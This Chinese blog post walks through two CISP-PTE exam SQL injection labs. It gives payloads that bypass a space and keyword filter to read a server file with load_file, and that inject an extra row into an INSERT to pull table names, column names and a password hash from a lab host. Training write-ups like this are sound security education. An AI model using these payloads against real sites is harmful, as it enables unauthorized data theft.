SQL注入示例

发布于:2024-01-24 ⋅ 阅读:(78) ⋅ 点赞:(0)

例一、基础SQL注入:load_file读文件

CISP-PTE 认证考试

首先是有单引号和括号的,首要是要闭合,然后回显点是在-1的位置,读取文件上面的key的话使用的是load_file('/tmp/360/key')

id=-1')%09ununionion%09select%091,2,3,load_file('/tmp/360/key')#

首先闭合,然后%09绕过空格,双写绕过关键字,load_file('/tmp/360/key')下载文件

例二、SQL注入:文章发布系统

http://49.232.193.10:81/start/post.php

进入主页之后,首先尝试万能密码登录,由于无法登陆,接着尝试注册用户,然后发布文章,该页面对文章的内容有一定的过滤

// 代码过滤规则

while (strstr($sql,'--')) {
	$sql = str_replace("--", "", $sql);
}

while (strstr($sql,'#')) {
	$sql = str_replace("#", "", $sql);
}

然后会在页面的下面回显内容如下,其中第2~4位为文章题目、文章内容、作者

insert article1 value('3506C3EA-7F34-28C6-E467-BD2645DA5E1A','1','1','1234rfv')

并有回显点——“成功” 字样

解题思路

1、让value通过 ')提前闭合(文章内容处),注意必须保证每一条都是四项内容
2、由于文章是使用插入一条数据的值,value(标题,内容,用户名)到数据库,可以同时插入两条内容:(标题,内容,用户名),(标题,内容,用户名)—— 使得第一条闭合,然后在第二条里面插入自己想要的语句

3、最后通过查看文章发表页面获得回显的内容

首先将它变为两条语句:第一条是正常的文章发表语句,第二条是要获得回显的语句
1','1234rfv'),('123456','2','3  

查询数据库名
1','1234rfv'),('1',database(),'select version() 

union联合查询数据库下的表名
1','1234rfv'),('1',(select group_concat(table_name) from information_schema.tables where table_schema='2web'),'3

查询列名
1','1234rfv'),('1',(select group_concat(column_name) from information_schema.columns where table_name='users1'),'3

查询字段
1','1234rfv'),('1',(select password from users1 limit 0,1),'3

最后依次使用 limit(0,1)、limit(1,1)、limit(2,1)、limit(3,1) 切割查看所有的字段,结果均为:81dc9bdb52d04dc20036dbd8313ed055        (或者使用burp依次遍历)

flag{81dc9bdb52d04dc20036dbd8313ed055}

本文含有隐藏内容,请 开通VIP 后查看

网站公告

今日签到

点亮在社区的每一天
去签到